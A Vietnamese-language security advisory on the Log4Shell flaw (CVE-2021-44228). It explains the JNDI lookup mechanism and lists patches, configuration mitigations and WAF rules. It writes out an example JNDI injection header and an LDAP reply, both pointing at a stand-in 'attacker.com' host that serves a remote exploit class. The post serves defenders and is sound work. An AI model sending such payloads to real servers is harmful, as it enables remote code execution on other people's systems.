Author: minhnq

Log4j2 là một thư viện mã nguồn mở dựa trên Java và thường được tích hợp trên các máy chủ web Apache với chức năng ghi lại nhật ký. Theo các nguồn tin, nhà nghiên cứu Chen Zhaojun của Alibaba đã gửi báo cáo lỗ hổng thực thi mã từ xa Log4j2 (RCE) cho Apache vào ngày 24 tháng 11 năm 2021. Lỗ hổng nghiêm trọng này sau đó đã được gán mã định danh CVE-2021-44228, hay còn được gọi là “Log4Shell”, tác động đến tất cả các phiên bản Log4j2 từ 2.0-beta9 đến 2.14.1.

Phân tích

Lỗ hổng CVE-2021-44228 cho phép kẻ tấn công bên ngoài hệ thống, không cần xác thực, có thể khai thác bằng cách gửi yêu cầu chứa mã khai thác (payload) đến máy chủ đang chạy phiên bản Log4j tồn tại lỗi. Yêu cầu được gửi đi sử dụng JNDI thông qua nhiều dịch vụ bao gồm:

  • Lightweight Directory Access Protocol (LDAP)
  • Remote Method Invocation (RMI)
  • Domain Name System (DNS)

Lỗ hổng Log4j được kích hoạt bởi payload, phía máy chủ sẽ tạo yêu cầu trên JNDI thông qua một trong các dịch vụ do kẻ tấn công kiểm soát. Khi nhận được yêu cầu này, kẻ tấn công sẽ trả về một đường dẫn đến tệp Java class được lưu trữ từ xa, tệp này sau đó sẽ được phía máy chủ chèn vào luồng xử lý và cho phép kẻ tấn công có thể thực thi mã tuỳ ý.

Cách thức khai thác

Log4j2 đã bổ sung thêm chức năng tra cứu, bao gồm cả tra cứu JNDI, nhưng tra cứu JNDI này không bị hạn chế, dẫn đến lỗ hổng bảo mật.

Java Naming and Directory Interface (JNDI) là một Java API cho phép lưu trữ và truy cập nhiều loại dữ liệu và tài nguyên, như đối tượng, tệp, thư mục… JNDI được thiết kế để cung cấp một giao diện chung cho phép truy cập các dịch vụ hiện có như DNS, LDAP, CORBA và RMI.

Trong số đó, có một loại dữ liệu có thể được trả về URI trỏ đến một Java class, và nếu hệ thống tải về và xử lý Java class không đáng tin cậy, nó có thể gây nguy hiểm cho máy chủ nếu class này có chứa mã độc.

Ban đầu, kẻ tấn công tiến hành gửi tới máy chủ mục tiêu chuỗi string chứa payload với điều kiện payload được ghi log lại trên hệ thống (trong trường hợp này, kẻ tấn công sẽ xây dựng một JNDI và chèn vào HTTP Header):

User-Agent: ${jndi:ldap://attacker.com:port/path}

Máy chủ mục tiêu khi parse chuỗi payload trên, Log4j instance sẽ khởi tạo một yêu cầu LDAP thông qua JNDI tới URL endpoint mà kẻ tấn công kiểm soát. Máy chủ LDAP, cũng do kẻ tấn công kiểm soát, sẽ phản hồi lại thông tin dẫn tới một endpoint file Java .class từ xa do kẻ tấn công tạo ra, chứa mã thực thi:

dn:
javaClassName: <class name>
javaCodeBase: http://second-stage.attacker.com/exploit.class
objectClass: javaNamingReference
javaFactory: <file base>

Cuối cùng, quá trình phía máy chủ mục tiêu xử lý, Java class được tải vào bộ nhớ và được thực thi bởi Log4j, đồng thời thực thi mã độc được cài đặt trong Java class đó.

Nguồn: fastly.com

 

Mô phỏng cách thức tấn công được dựng tại đây: https://github.com/christophetd/log4shell-vulnerable-app

Mức độ nguy hiểm

Do tính phổ biến của thư viện Log4j2, rất nhiều hệ thống đã và đang chịu ảnh hưởng từ lỗ hổng CVE-2021-44228 Log4Shell, bao gồm cả những hệ thống, dịch vụ đám mây của Steam, Cloudflare, Twitter, Tesla… Kèm theo rất nhiều mã khai thác công khai được cập nhật trên Github. Hiện tại, lỗ hổng này đang được hacker khai thác rất tích cực.

Mã khai thác công khai CVE-2021-44228 trên Github
Khai thác CVE-2021-44228 trên Minecraft

Cách khắc phục

Thực hiện khắc phục lỗ hổng

Hiện tại đã có bản vá cho CVE-2021-44228 Log4J RCE, khuyến nghị cập nhật sớm nhất để tránh bị ảnh hưởng: Log4j’s lastest release v2.15.0.

Lỗ hổng này có thể được giảm thiểu trên các phiên bản release trước đây (>=2.10):

  • Setting “log4j2.formatMsgNoLookups” thành “true” hoặc:
  • xoá class JndiLookup khỏi classpath 

(Ví dụ: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Bên cạnh đó, sử dụng Java 8u121 chống lại lỗ hổng RCE bằng cách cấu hình “com.sun.jndi.rmi.object.trustURLCodebase” và “com.sun.jndi.cosnaming.object.trustURLCodebase” thành “false.”

Sử dụng WAF

Thiết lập giám sát sử dụng WAF để bảo vệ ứng dụng bằng cách phát hiện những request có chứa chuỗi khai thác Log4j, chuỗi khai thác này có thể được chèn vào bất kỳ vị trí nào trên một HTTP request, thực hiện chặn request đó, ngăn không cho ứng dựng xử lý chuỗi khai thác.

HTTP Request Action
Log4j Headers BLOCK
Log4j Body BLOCK
Log4j URL BLOCK

Hoặc kích hoạt WAF từ các nhà cung cấp dịch vụ đám mây như Google Cloud, Cloudflare hay Amazon AWS

Một điều cuối cùng cần lưu ý đó là phiên bản Log4J v1 đã không còn được hỗ trợ và vẫn có thể dính lỗ hổng CVE-2021-44228 Log4J RCE, vì thế hãy nâng cấp lên phiên bản Log4j’s lastest release v2.15.0 sớm nhất.


Xem thêm & quote:

Digging deeper into Log4Shell – 0Day RCE exploit found in Log4j | Fastly

Inside the log4j2 vulnerability (CVE-2021-44228) (cloudflare.com)

Actual CVE-2021-44228 payloads captured in the wild (cloudflare.com)

By DatMom